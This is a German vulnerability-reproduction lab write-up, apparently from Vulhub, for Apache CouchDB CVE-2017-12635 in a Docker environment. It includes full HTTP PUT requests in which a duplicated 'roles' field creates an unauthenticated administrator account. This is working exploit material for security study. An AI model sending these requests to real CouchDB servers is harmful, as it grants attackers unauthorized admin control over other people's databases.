
# Docker-basierte Reproduktionsumgebung für Apache CouchDB CVE-2017-12635 – vertikale Privilegienerweiterung über JSON-Parser-Inkonsistenz, die die Erstellung eines nicht authentifizierten Admins ermöglicht.
Apache CouchDB ist eine Open-Source-Datenbank, die sich auf Benutzerfreundlichkeit und darauf konzentriert, eine „vollständig das Web umarmende Datenbank“ zu sein. Es ist eine NoSQL-Datenbank, die JSON als Speicherformat, JavaScript als Abfragesprache, MapReduce und HTTP als API verwendet. Sie wird vielfältig eingesetzt, z. B. von der BBC für ihre dynamische Content-Plattform, von Credit Suisse für das marktbezogene Framework ihrer hauseigenen Rohstoffabteilung und von Meebo für ihre soziale Plattform (Web und Apps).
Am 15. November 2017 wurden CVE-2017-12635 und CVE-2017-12636 veröffentlicht. CVE-2017-12635 ist auf unterschiedliche JSON-Parsing-Weisen von Erlang und JavaScript zurückzuführen, was zu Unterschieden in der Anweisungsausführung führt. Diese Schwachstelle ermöglicht es beliebigen Benutzern, Administratoren zu erstellen, und stellt einen vertikalen Privilegienumgehungs-Bug dar.
Betroffene Versionen: kleiner als 1.7.0 und kleiner als 2.1.1
Referenzen:
Umgebung erstellen und starten:
docker-compose build
docker-compose up -d
Nach dem Start der Umgebung kann unter http://your-ip:5984/_utils/ eine Webseite aufgerufen werden, was anzeigt, dass CouchDB erfolgreich gestartet wurde. Wir kennen jedoch das Passwort nicht und können uns nicht anmelden.
Senden Sie zunächst das folgende Datenpaket:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Es wird ein 403-Fehler zurückgegeben: {"error":"forbidden","reason":"Only _admin may set roles"}. Nur Administratoren können Rollen setzen:
Senden Sie ein Datenpaket mit zwei Rollen-Feldern, um die Einschränkung zu umgehen:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Der Administrator wurde erfolgreich erstellt. Benutzername und Passwort lauten beide vulhub:

Rufen Sie erneut http://your-ip:5984/_utils/ auf und melden Sie sich mit dem Benutzernamen und Passwort vulhub an. Die Anmeldung ist erfolgreich:
